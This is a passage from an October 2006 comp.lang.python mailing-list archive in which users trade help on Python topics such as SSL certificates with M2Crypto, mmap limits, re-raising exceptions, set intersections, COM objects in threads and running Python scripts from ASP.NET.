M2Crypto: from M2Crypto import SSL ctx = SSL.Context() conn = SSL.Connection(ctx) conn.connect(('www.verisign.com', 443)) cert = conn.get_peer_cert() > 2) I like the idea of calling openssl in a subprocess. > Do you have any of those openssl commands handy? If > not, I can look through the documentation tommorrow. I would be surprised if M2Crypto did not provide what you want. If it doesn't, I'd be happy to add the functionality. -- Heikki Toivonen From skip at pobox.com Fri Oct 27 10:26:51 2006 From: skip at pobox.com (skip at pobox.com) Date: Fri, 27 Oct 2006 09:26:51 -0500 Subject: Assertion failure on hotshot.stats.load() In-Reply-To: <31672-10273@sneakemail.com> References: <31672-10273@sneakemail.com> Message-ID: <17730.5931.44742.127651@montanaro.dyndns.org> Yang> Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks Yang> several packages I depend on. I'm using Python 2.4.3. Not a direct answer to your question, but the cProfile module runs just fine under 2.4. Skip From onurb at xiludom.gro Fri Oct 20 07:19:59 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 20 Oct 2006 13:19:59 +0200 Subject: help with my first use of a class In-Reply-To: References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> <4538942b$0$31252$426a74cc@news.free.fr> Message-ID: <4538b0e0$0$8661$426a74cc@news.free.fr> Fredrik Lundh wrote: > Bruno Desthuilliers wrote: > >> First, notice that you *don't* need a class here to avoid globals. >> Learning to use function as *functions* (ie: taking arguments and >> returning values) instead of procedure would help: >> >> def random_quote(cursor): >> c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") > > make that "cursor.execute" (etc) oops, sorry - not enough coffein, I guess. Thanks for the correction. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From mail at microcorp.co.za Sun Oct 1 05:23:54 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sun, 1 Oct 2006 11:23:54 +0200 Subject: storing variable names in a list before they are used? References: <451ea06c$0$14713$c3e8da3@news.astraweb.com><451eb97a$0$12859$c3e8da3@news.astraweb.com> <4rzTg.5009$o71.4172@newsread3.news.pas.earthlink.net> Message-ID: <015c01c6e53c$922c19c0$03000080@hendrik> "Dennis Lee Bieber" wrote: > On Sat, 30 Sep 2006 14:33:35 -0400, John Salerno > declaimed the following in comp.lang.python: > > > > > Ok, I'm sure you all get the idea by now, but here's a simpler way to > > look at it: > > > > Instead of > > > > first_name = wx.TextCtrl(self) > > last_name = wx.TextCtrl(self) > > job_title = wx.TextCtrl(self) > > etc. > > > > and subsequently: > > > > sizer.Add(first_name) > > sizer.Add(last_name) > > sizer.Add(job_title) > > etc. > > > > I want to do something like this: > > > > for name in names: > > name = wx.TextCtrl(self) > > sizer.Add(name) > > > > It's just that I don't know how to handle the "name" variable in the > > "names" list. > > Short blunt answer... You Don't Longer, less blunt answer: You could, if you wanted to, write: errfile = "name_of_error_file_for_compile_statement" expr = name+" = wx.TextCtrl(self)" eval(compile(expr, errfile,'single')) and the name that reads the same as the text string should be created. To access it, you can then use: sizer.Add(eval(name)) Example: IDLE 1.1.3 ==== No Subprocess ==== >>> banana Traceback (most recent call last): File "", line 1, in ? banana NameError: name 'banana' is not defined >>> name = "banana" >>> errfile='errfile' >>> expr = name+'="A yellow sickle shaped fruit"' >>> eval(compile(expr,errfile,'single')) >>> banana 'A yellow sickle shaped fruit' >>> name 'banana' >>> eval(name) 'A yellow sickle shaped fruit' >>> *ducks behind asbestos shelter to hide from the predicted flames * But Seriously - I think eval is good for just this kind of purpose - does what was wanted, namely creating the variable with the same name as the content of a string... - its also useful to access a variable if you have been given its name in a string, instead of being passed the thing itself - then you don't need the compile bit... Caveat Emptor - Hendrik From Roka100 at gmail.com Mon Oct 30 07:08:07 2006 From: Roka100 at gmail.com (Jia Lu) Date: 30 Oct 2006 04:08:07 -0800 Subject: wxFrame don't have Bind attribute ?? In-Reply-To: <1162207693.058720.137580@i42g2000cwa.googlegroups.com> References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com> <1162206945.246107.122390@h48g2000cwc.googlegroups.com> <1162207693.058720.137580@i42g2000cwa.googlegroups.com> Message-ID: <1162210087.255048.145730@m73g2000cwd.googlegroups.com> Frank Millman ??????: > This works perfectly for me, using wxPython 2.6.3.2, on both Linux and > Windows. > > What platform are you using? Yes this works OK for me too on my FedoraCore 5, but cannot work on my FedoraCore 6... From fredrik at pythonware.com Thu Oct 26 04:33:46 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 10:33:46 +0200 Subject: Problem Commenting within Filehandle Iteration In-Reply-To: <87vem7iirt.fsf@benfinney.id.au> References: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net> <87vem7iirt.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > My preferred answer: > > if m: > print line, > > and get the lines back again later from your version control system. switching debugging statements on and off by rolling back to an earlier release strikes me as a somewhat misguided use of version control. From martin at v.loewis.de Tue Oct 24 13:31:45 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 19:31:45 +0200 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161651103.875210.170140@i42g2000cwa.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161651103.875210.170140@i42g2000cwa.googlegroups.com> Message-ID: <453E4E01.9050304@v.loewis.de> sturlamolden schrieb: > Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap" > always sets the offset argument in Windows MapViewOfFile and UNIX to 0. > This means that it is always mapping from the beginning of the file. > Thus, Python's mmap module is useless for large files. This is really > bad coding. The one that wrote mmapmodule.c didn't consider the > posibility that a 64 bit file system like NTFS can harbour files to > large to fit in a 32 address space. Thus, > mmapmodule.c needs to be fixed before it can be used for large files. You know this isn't true in general. It is true for a 32-bit address space only. Regards, Martin From bencvt at gmail.com Tue Oct 3 02:18:42 2006 From: bencvt at gmail.com (Ben Cartwright) Date: 2 Oct 2006 23:18:42 -0700 Subject: saving an exception References: Message-ID: <1159856322.138566.242490@e3g2000cwe.googlegroups.com> Bryan wrote: > i would like to save an exception and reraise it at a later time. > > something similar to this: > > exception = None > def foo(): > try: > 1/0 > except Exception, e: > exception = e > > if exception: raise exception > > with the above code, i'm able to successfully raise the exception, but the > line number of the exception is at the place of the explicit raise instead > of the where the exception originally occurred. is there anyway to fix > this? Sure: generate the stack trace when the real exception occurs. Check out sys.exc_info() and the traceback module. import sys import traceback exception = None def foo(): global exception try: 1/0 except Exception: # Build a new exception of the same type with the inner stack trace exctype = sys.exc_info()[0] exception = exctype('\nInner ' + traceback.format_exc().strip()) foo() if exception: raise exception # Output: Traceback (most recent call last): File "foo.py", line 15, in raise exception ZeroDivisionError: Inner Traceback (most recent call last): File "foo.py", line 8, in foo 1/0 ZeroDivisionError: integer division or modulo by zero --Ben From gole at e-hf.net Fri Oct 20 11:21:32 2006 From: gole at e-hf.net (gole at e-hf.net) Date: 20 Oct 2006 08:21:32 -0700 Subject: Python decorator article Message-ID: <1161357692.589064.326690@h48g2000cwc.googlegroups.com> Hello, I am writing to point interested readers to a few short articles on decorators: Please find them here: http://muharem.wordpress.com/2006/10/18/3/ Best regards -- Muharem From martin at v.loewis.de Fri Oct 20 02:23:08 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 20 Oct 2006 08:23:08 +0200 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: References: Message-ID: <45386B4C.4020001@v.loewis.de> Christopher Taylor schrieb: > This basically means to me that Python2.4 is loading gloab.py from > /usr/lib64/Python2.3 insead of /usr/lib/Python2.4 (even thought I > wanted to install the related files in /usr/lib64/Python2.4) > > Can someome please help! Can you please report what sys.path is? Do you have PYTHONPATH set, by any chance? Python shouldn't normally look into the library of a totally unrelated installation. Regards, Martin From heikki at osafoundation.org Wed Oct 18 00:58:51 2006 From: heikki at osafoundation.org (Heikki Toivonen) Date: Tue, 17 Oct 2006 21:58:51 -0700 Subject: httplib and HTTPS Connections In-Reply-To: <1161052193.081315.140370@h48g2000cwc.googlegroups.com> References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com> Message-ID: <1oGdnaTye-JRKajYnZ2dnUVZ_vqdnZ2d@comcast.com> runningwild wrote: > This is the first time I have cared about httplib's HTTPSConnection. Please note that the Python builtin SSL support is not really secure. It does not make sure that you connect to the site you think you are connecting to, for example. If you really need secure SSL (what is the point of SSL if not secure I ask) you should look at other Python modules. There are several to choose from, for example M2Crypto (I am the maintainer of that), TLS Lite, PyOpenSSL, PyOpenSSL-extended, and possibly others that I am forgetting right now. -- Heikki Toivonen From mesmith.15507218 at bloglines.com Fri Oct 27 09:45:38 2006 From: mesmith.15507218 at bloglines.com (Mark) Date: Fri, 27 Oct 2006 08:45:38 -0500 Subject: [Fwd: Using cElementTree and elementtree.ElementInclude] Message-ID: <45420D82.10700@bloglines.com> -------- Original Message -------- Subject: Using cElementTree and elementtree.ElementInclude Date: Mon, 23 Oct 2006 09:40:24 -0500 From: Mark E. Smith Organization: AEDC To: python-list at python.org > cElementTree cannot hold ElementTree instances. > > can you post a small but self-contained example showing how you got this > error? > #from elementtree.ElementTree import ElementTree, dump # This works from cElementTree import ElementTree, dump # This does not from elementtree import ElementInclude etree = ElementTree(file='xml_in.xml').getroot() dump(etree) ElementInclude.include(etree) dump(etree) for child in etree.find('./included_root').findall('./*'): # Copy the child down to the root etree.append(child) # Remove the root/included_root etree.remove(etree.find('./included_root')) dump(etree) Thanks for the help. Mark From grflanagan at yahoo.co.uk Sat Oct 7 05:46:31 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 7 Oct 2006 02:46:31 -0700 Subject: How to execute a python script in .NET application In-Reply-To: <1160175618.029261.43440@i3g2000cwc.googlegroups.com> References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com> Message-ID: <1160214391.120548.143740@c28g2000cwb.googlegroups.com> Chandra wrote: > Hi, > > Is there a way to execute a python script(file) in ASP.NET application > (programmatically)?? > > Regards, > Chandra I thought IIS would prevent this, but the following works for me at home (ASP.NET 1.1). A production setup may be a different matter. using System.Diagnostics public class WebForm1 : System.Web.UI.Page { protected System.Web.UI.WebControls.Label Label1; private void Page_Load(object sender, System.EventArgs e) { ProcessStartInfo startInfo; Process process; string directory = @"c:\python\python24\Lib\site-packages"; string script = "test.py"; startInfo = new ProcessStartInfo("python"); startInfo.WorkingDirectory = directory; startInfo.Arguments = script; startInfo.UseShellExecute = false; startInfo.CreateNoWindow = true; startInfo.RedirectStandardOutput = true; startInfo.RedirectStandardError = true; process = new Process(); process.StartInfo = startInfo; process.Start(); string s; while ((s = process.StandardOutput.ReadLine()) != null) { Label1.Text += s; } } } From john106henry at hotmail.com Wed Oct 25 20:08:02 2006 From: john106henry at hotmail.com (John Henry) Date: 25 Oct 2006 17:08:02 -0700 Subject: Dealing with multiple sets Message-ID: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> Hi list, If I have a bunch of sets: a = set((1, 2, 3)) b = set((2, 3)) c = set((1, 3)) .... What's the cleanest way to say: 1) Give me a list of the items that are in all of the sets? (3 in the above example) 2) Give me a list of the items that are not in all of the sets? (1,2 in the above example) Thanks, From noway at sorry.com Sun Oct 1 03:13:25 2006 From: noway at sorry.com (Giovanni Bajo) Date: Sun, 01 Oct 2006 07:13:25 GMT Subject: Is this a bug? Python intermittently stops dead for seconds References: Message-ID: charlie strauss wrote: > Below is a simple program that will cause python to intermittently > stop executing for a few seconds. it's 100% reproducible on my > machine. Confirmed with Python 2.4.2 on Windows. gc.disable() fixes it, so it looks like you found an inefficiency in the Python's GC. I have no idea whether this would be considered a bug by Python's developer, but you can try opening a bugreport... -- Giovanni Bajo From tejovathi.p at gmail.com Mon Oct 16 04:41:26 2006 From: tejovathi.p at gmail.com (Teja) Date: 16 Oct 2006 01:41:26 -0700 Subject: COM error In-Reply-To: <3MXXg.6230$5i7.1379@newsreading01.news.tds.net> References: <1160791154.186493.167980@f16g2000cwb.googlegroups.com> <3MXXg.6230$5i7.1379@newsreading01.news.tds.net> Message-ID: <1160988086.433712.213260@f16g2000cwb.googlegroups.com> Neil Cerutti wrote: > On 2006-10-14, Teja wrote: > > What is "ValueError: argument is not a COM object" ? I get this > > error when I try to pass a COM object to a thread. > > > > Any pointers???? > > Try passing it to Larry Bird, instead. He's bound to score some > points. > > Seriously, the function you called expected a COM object and you > passed it something else. Without seeing more code, it's hard to > be any helpfuller. > > -- > Neil Cerutti HI all, I have a problem in accesing COM objects in threads. To be precise, lets assume that I have a class GenericFunctions which is defined as follows: import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 class GenericFunctions: def __init__(self): print "In Constructor of Generic Functions" def MyNavigate(self,dest): ie.Navigate(dest) Now there is another file Main.py which is defined as follows: import win32com.client, pythoncom, thread from GenericFunctions import * obj = GenericFunctions() class Mainclass: def __init__(self); print "In Constructor of Main class" def threadFunction(self,dest): pythoncom.CoInitialize() d=pythoncom.CoGetInterfaceAndReleaseStream(s, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) obj.func(dest) # this is gving an error. pythoncom.CoUninitialize() if __name__ == "__main__": s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) thread.start_new_thread(self.nav, (s,'www.google.com') Basically, I want to access object of GenericFunctions class inside threadFunction(). However I was able to execute my_ie.Navigate("google.com"). But that was not I wanted. I am not knowing where the error is.... Please let me know the solution ASAP... Teja.P From http Thu Oct 26 09:37:51 2006 From: http (Paul Rubin) Date: 26 Oct 2006 06:37:51 -0700 Subject: iterator idea References: <7xiri7mucr.fsf_-_@ruckus.brouhaha.com> Message-ID: <7x64e7qjtc.fsf@ruckus.brouhaha.com> Duncan Booth writes: > I wouldn't agree that there is no way reasonable way to get the terminating > value with takewhile, you just need another generator or two: Hmm, I hadn't thought about iterator.send. I'll have to look at that more carefully and re-read the PEP. From steven.bethard at gmail.com Wed Oct 11 14:44:35 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 11 Oct 2006 12:44:35 -0600 Subject: Alternative constructors naming convention In-Reply-To: <1160564942.565119.226780@m7g2000cwm.googlegroups.com> References: <1160564942.565119.226780@m7g2000cwm.googlegroups.com> Message-ID: Will McGugan wrote: > Is there a naming convention regarding alternative constructors? ie > static methods where __new__ is called explicity. Are you really using staticmethod and calling __new__? It's often much easier to use classmethod, e.g.:: class Color(object): ... @classmethod def from_html(cls, r, g, b): ... # convert r, g, b to normal constructor args ... # call normal constructor return cls(...) And FWIW, I use lower_with_underscores for alternate constructors, not CamelCase. STeVe From wolfgang.keller.nospam at gmx.de Sun Oct 15 08:47:37 2006 From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller) Date: Sun, 15 Oct 2006 14:47:37 +0200 Subject: Book about database application development? Message-ID: <0001HW.C157FA8900644D9AF0407530@news.individual.de> Hello, does anyone know of a good book that about development of database applications? Preferrably language independent, if that's not available something "readable" as the example language would be nice (Delphi is ok for me, not any kind of C-dialect including Java and C#). Unfortunately there seems to be nothing dedicated to database applications with Python. I'm especially interested in such practical topics as e.g. how to implement things such that the resulting application doesn't show the hourglass for minutes on every mouseclick. And, btw; "W** applications" are totally irrelevant for me. TIA, Sincerely, Wolfgang Keller -- My email-address is correct. Do NOT remove ".nospam" to reply. From johnjsal at NOSPAMgmail.com Mon Oct 30 10:19:04 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 15:19:04 GMT Subject: wxPython - which is the better sizer to use with notebook In-Reply-To: <1162206390.240665.230160@b28g2000cwb.googlegroups.com> References: <1162196851.786053.162930@k70g2000cwa.googlegroups.com> <1162206390.240665.230160@b28g2000cwb.googlegroups.com> Message-ID: SPE - Stani's Python Editor wrote: > Chris Brat schreef: > >> Hi, >> >> What sizers do people use to >> - contain the notebook control in a Frame and, >> - contain the contents of a single page of the notebook. >> >> At the moment Im using a GridBagSizer for both but this seems to be >> overkill. >> Is a BoxSizer a better option? > > Yes, use box sizer if you have to place only one control or when you > need to place a row or column of controls. And you don't need to specify an orientation either (vertical or horizontal), since it doesn't matter. :) From johnjsal at NOSPAMgmail.com Thu Oct 26 16:51:55 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 20:51:55 GMT Subject: my first software In-Reply-To: <1161892741.305570.114550@e3g2000cwe.googlegroups.com> References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com> <1161892741.305570.114550@e3g2000cwe.googlegroups.com> Message-ID: Chelonian wrote: > FS.Jason at gmail.com wrote: >> I am a beginner of programming and started to learn Python a week ago. >> last 3 days, i write this little tool for Renju... > > Tell you what, I will trade you my fluent English for your ability to > write that in 3 days as a beginning programmer who started learning > Python a week ago. As a true beginner to programming, I was about to > bake myself a cake when I was able to simply open a text file. Are you > on massive smart drugs or is my water tainted or what? :) > > I am always amazed at what is considered a "beginner" on this > list...[slurks back off into true beginnerdom] > Don't worry, I got about halfway through the code before my eyes fell out too. :) From rpdooling at gmail.com Sun Oct 22 16:47:20 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 22 Oct 2006 13:47:20 -0700 Subject: sending vim text through Python filter Message-ID: <1161550040.309135.250940@h48g2000cwc.googlegroups.com> Hello, I'm sure this is my fault or some Windows snafu. But using gvim 7.0 on Windows XP, I can't seem to get gvim to successfully filter text through a Python script. I also use NoteTab and have no problems running text from NoteTab through the same Python script. Any vimmers help with this? I'm sending standard text with the vim command :%!sort.py The Python script (sort.py) is: from sys import stdin input = stdin.read().split('\n') input.sort() print '\n'.join(input) I get: Traceback (most recent call last): File "d:\python\sort.py", line 2, in ? input = stdin.read().split('\n') IOError: [Errno 9] Bad file descriptor Thanks, rd From mail at microcorp.co.za Fri Oct 6 05:06:31 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Fri, 6 Oct 2006 11:06:31 +0200 Subject: Why do this? References: Message-ID: <023c01c6e926$ec6970c0$03000080@hendrik> "Dennis Lee Bieber" wrote: > On Thu, 5 Oct 2006 11:28:08 +0100, "Matthew Warren" > declaimed the following in comp.lang.python: > > > > > Now, I started programming when I was 8 with BBC Basic. > > > Remember what the acronym BASIC stands for? 8<----------------------------------------------- yes - Hendrik From steve at holdenweb.com Mon Oct 2 11:24:07 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 02 Oct 2006 16:24:07 +0100 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: <452125F8.8070106@googlemail.com> References: <452125F8.8070106@googlemail.com> Message-ID: Hari Sekhon wrote: > I'm running a command like > > import commands > result = commands.getstatusoutput('somecommand') > print result[0] > 3072 > > > However, this exit code made no sense so I ran it manually from the > command line in bash on my linux server and it gives the exit code as > 12, not this weird 3072 number. > > So I tried os.system('somecommand') in the interactive python shell and > it too returned the same result for the exit code as the unix shell, 12, > but re-running the commands.getstatusoutput() with the exact same > command still gave 3072. > > > Is commands.getstatusoutput() broken or something? > > > -h > No, it's just returning the error code in the top half of a sixteen-bit value. You will notice that 3072 == 2 * 256. That's always been the way the Unix return code has been returned programattically, but the shell shifts it down to make it more usab;e. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From Dennis.Benzinger at gmx.net Wed Oct 4 12:22:38 2006 From: Dennis.Benzinger at gmx.net (Dennis Benzinger) Date: Wed, 4 Oct 2006 18:22:38 +0200 Subject: item access time: sets v. lists References: Message-ID: <20061004182238.15e1a53a@dcbpc.wh-syrlin.uni-ulm.de> On Wed, 04 Oct 2006 16:02:56 GMT "David Isaac" wrote: > Is it expected for access to set elements to be much > slower than access to list elements? Explanation? > Thanks, > Alan Isaac > > >>> t1=timeit.Timer("for i in set(xrange(10000)):pass","") > >>> t2=timeit.Timer("for i in list(xrange(10000)):pass","") > [...] You're measuring the time for creating the xrange and the set/list too. Create them before you call Timer() and repeat your timing. Dennis Benzinger From veracon at gmail.com Sat Oct 14 12:03:22 2006 From: veracon at gmail.com (veracon) Date: 14 Oct 2006 09:03:22 -0700 Subject: Making a shorter shebang In-Reply-To: <1160841240.145863.58940@m7g2000cwm.googlegroups.com> References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com> <1160840595.827897.150260@f16g2000cwb.googlegroups.com> <1160841240.145863.58940@m7g2000cwm.googlegroups.com> Message-ID: <1160841802.218222.60510@h48g2000cwc.googlegroups.com> Actually, it appears to still be using the default binary (/usr/bin/python). Can I be sure it's actually reading the .profile file? I'm executing through regular CGI in Apache. veracon wrote: > Thanks a lot! > > Jerry wrote: > > /usr/bin/env just searches your PATH variable to find it, but it does > > so in order. So, if you want it to find your python instead of a > > system provided one, just alter your PATH variable and put > > /home/my_username/python2.5 in front of everything else. > > > > example in .profile: > > > > PATH=/home//python2.5:$PATH > > export PATH > > > > -- > > Jerry > > > > On Oct 14, 10:37 am, "veracon" wrote: > > > Long story short, in order to use Python 2.5, I've compiled it in my > > > own account on my hosting. It works fantastic as > > > /home/my_username/python2.5, but the shebang is a bit long. Is there a > > > way to shorten it (environment variables?) or, even better, make > > > /usr/bin/env python point to it? > > > > > > Thanks in advance! From lee at example.com Wed Oct 18 17:45:33 2006 From: lee at example.com (Lee Harr) Date: Wed, 18 Oct 2006 21:45:33 GMT Subject: pexpect with apache References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com> <1161202610.865795.63830@f16g2000cwb.googlegroups.com> Message-ID: <1gxZg.3425$ya1.2766@news02.roc.ny> > Well, first i don't think it is a good idea to have the python script > tu su to root, but for it to work, i think (Totally unsure about that) > www has to be in group wheel to be able to su. Maybe sudo can help here. From fredrik at pythonware.com Tue Oct 10 12:35:37 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 18:35:37 +0200 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com><1160332330.684420.276560@e3g2000cwe.googlegroups.com><1160335473.625244.261640@m7g2000cwm.googlegroups.com><1160345922.051578.146630@i3g2000cwc.googlegroups.com> <1160455280.118212.202770@b28g2000cwb.googlegroups.com> Message-ID: > *) insert martelli essay here. for example: http://mail.python.org/pipermail/python-list/2003-May/163820.html From duncan.booth at invalid.invalid Thu Oct 19 05:42:19 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 19 Oct 2006 09:42:19 GMT Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> Message-ID: NoelByron at gmx.net wrote: > 'K\xc3\xb6ni'.decode('utf-8') # 'K\xc3\xb6ni' should be 'K?nig', > contains a german 'umlaut' > > but failed since python assumes every string to decode to be ASCII? No, Python would assume the string to be utf-8 encoded in this case: >>> 'K\xc3\xb6ni'.decode('utf-8').encode('latin1') 'K\xf6ni' Your code must have failed somewhere else. Try posting actual failing code and actual traceback. From fredrik at pythonware.com Fri Oct 6 07:58:59 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 13:58:59 +0200 Subject: How to run in background? In-Reply-To: <1160135411.056915.34130@b28g2000cwb.googlegroups.com> References: <1159185721.476762.222830@b28g2000cwb.googlegroups.com> <1160135411.056915.34130@b28g2000cwb.googlegroups.com> Message-ID: billie wrote: > I'm sorry. I tried with "windows=myscript.py" but it doesn't seem to > work. it does work, so you've probably made some simple mistake. figuring out what that is is a bit hard if you don't provide more information, though. can you perhaps post (the relevant portions of) your setup.py file ? From ericlake at gmail.com Wed Oct 18 15:39:10 2006 From: ericlake at gmail.com (elake) Date: 18 Oct 2006 12:39:10 -0700 Subject: Determining if a file is locked in Windows Message-ID: <1161200350.853327.288150@b28g2000cwb.googlegroups.com> I found this thread about a pst file in Windows being locked and I am having the same issue. http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1 The problem is that I have a script that can find the pst files on every machine in my network and back them up to a server for safe keeping. The problem is that when Outlook is running it locks the file and will not allow me to copy it to the destination. I am using the shutil module for the copy. Is there a way to first determine if the file is locked and then do the copy if it isn't? I thought about looking to see if Outlook.exe is running but the machines are shared and the process could be running but with a different pst file in use. Thanks in advance From tim.peters at gmail.com Sun Oct 1 16:12:11 2006 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 1 Oct 2006 16:12:11 -0400 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: Message-ID: <1f7befae0610011312x28eea7a1kf94934e5b30899ee@mail.gmail.com> [charlie strauss] > Below is a simple program that will cause python to intermittently > stop executing for a few seconds. it's 100% reproducible on my machine. Any program that creates a great many long-lived container objects will behave similarly during the creation phase. Others have explained why. Here's a simpler example: from time import time xs = [] i = 0 while 1: i += 1 s = time() xs.append([[1, 2] for dummy in xrange(1000)]) f = time() if f-s > 0.25: print "time", f-s, "on try", i if i % 100 == 0: print "xs made:", i From malkarouri at gmail.com Fri Oct 13 00:54:16 2006 From: malkarouri at gmail.com (malkarouri at gmail.com) Date: 12 Oct 2006 21:54:16 -0700 Subject: Starting out. References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> Message-ID: <1160715256.698199.64540@h48g2000cwc.googlegroups.com> Ahmer wrote: > Hi all! > > I am a 15 year old High School Sophomore. I would like to start > programming in Python. In school, we are learning Java (5) and I like > to use the Eclipse IDE, I also am learning PHP as well. > > What are some ways to get started (books, sites, etc.)? I am usually on > linux, but I have a windows box and am planning on getting a mac. Generally good choices. I don't prefer PHP, however. For somebody who is learning programming, it encourages sloppy programming. I would suggest that you use PyDev (http://pydev.sourceforge.net/), a Python plugin for Eclipse, for Python programming. It is a helpful environment, especially for somebody already using Eclipse. For resources, I suggest you take a look at http://wiki.python.org/moin/BeginnersGuide/NonProgrammers which is for non-programmers. If you feel like checking other resources, more are linked to http://wiki.python.org/moin/BeginnersGuide . Best luck, k From ironpythonster at gmail.com Mon Oct 9 21:14:55 2006 From: ironpythonster at gmail.com (Kevien Lee) Date: Tue, 10 Oct 2006 09:14:55 +0800 Subject: A problem about File path encode Message-ID: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com> Hi everyone, There is a problem about File path encode ,when i want to parse an xml file. The code as follow: ------------------------------------------------------------------ from xml.dom import minidom def ReadXml(): xmldoc=minidom.parse("D:\Downloads\1.xml") print xmldoc.toxml() if __name__ == "__main__": ReadXml() -------------------------------------------------------------------------- there throw an error: Traceback (most recent call last): File "D:/Downloads/test", line 8, in ReadXml() File "D:/Downloads/test", line 4, in ReadXml xmldoc=minidom.parse("D:\Downloads\1.xml") File "D:\Program Files\Python25\lib\xml\dom\minidom.py", line 1913, in parse return expatbuilder.parse(file) File "D:\Program Files\Python25\lib\xml\dom\expatbuilder.py", line 922, in parse fp = open(file, 'rb') IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml' ------------------------------------------------------------------------------------------ See the red line.the file path"D:\Downloads\1.xml" auto changed 'D:\\Downloads\x01.xml' I think may be the version cause the problem (version2.4) at the beginning,but when i changed the version2.5 , the error still exist.and the code run on another PC is OK.Why this error happen?how could i fix that? -------------- next part -------------- An HTML attachment was scrubbed... URL: From samnemo at gmail.com Mon Oct 23 15:32:18 2006 From: samnemo at gmail.com (samn) Date: 23 Oct 2006 12:32:18 -0700 Subject: python2.5 importerror on md5 In-Reply-To: References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com> Message-ID: <1161631938.267555.303790@h48g2000cwc.googlegroups.com> > I believe the _md5 module (as opposed to the md5 module) is a compiled > extension. I'm guessing the import succeeds on the machine you used to > build python. > > Try > > import _md5 > print _md5.__file__ > > and see if you can find out where it's being loaded from. You'll > probably find that you also need to tailor the sysprefix parameter, or > some such. > You are correct that import md5 works fine on the machine that I compiled on and only has problems on the other machine. I wasn't able to import _md5 , even on the machine I compiled on. Here's what I get on the machine I compiled on: Python 2.5 (r25:51908, Oct 23 2006, 13:38:11) [GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import md5 >>> import _md5 Traceback (most recent call last): File "", line 1, in ImportError: No module named _md5 >>> import md5 >>> print md5.__file__ /usr/arch/lib/python2.5/md5.py sys.prefix is equal on both machines: >>>import sys >>> sys.prefix '/usr/arch' thanks for any help sam From reivax85 at gmail.com Wed Oct 18 08:07:16 2006 From: reivax85 at gmail.com (Sssasss) Date: 18 Oct 2006 05:07:16 -0700 Subject: matrix Multiplication In-Reply-To: References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com> Message-ID: <1161173235.942581.277590@k70g2000cwa.googlegroups.com> Fredrik Lundh wrote: > "Sssasss" wrote: > > > I wan't to multiply two square matrixes, and i don't understand why it > > doesn't work. > > > > def multmat(A,B): > > "A*B" > > if len(A)!=len(B): return "error" > > D=[] > > C=[] > > for i in range(len(A)): D.append(0) > > for i in range(len(A)): C.append(D) > > append doesn't copy data, so you're basically adding len(A) references to > the same D list to C. for more on this, see: > > http://pyfaq.infogami.com/how-do-i-create-a-multidimensional-list > > Ok!! Tank you very much, i understand now. ciao From duncan.booth at invalid.invalid Mon Oct 9 03:35:43 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 9 Oct 2006 07:35:43 GMT Subject: Why do this? References: Message-ID: Lawrence D'Oliveiro wrote: > I use the above when I can, when I can't I fall back on >, >. Yes, so you said, but you never came up with a convincing use case where that function was better than using the parameterised queries. From 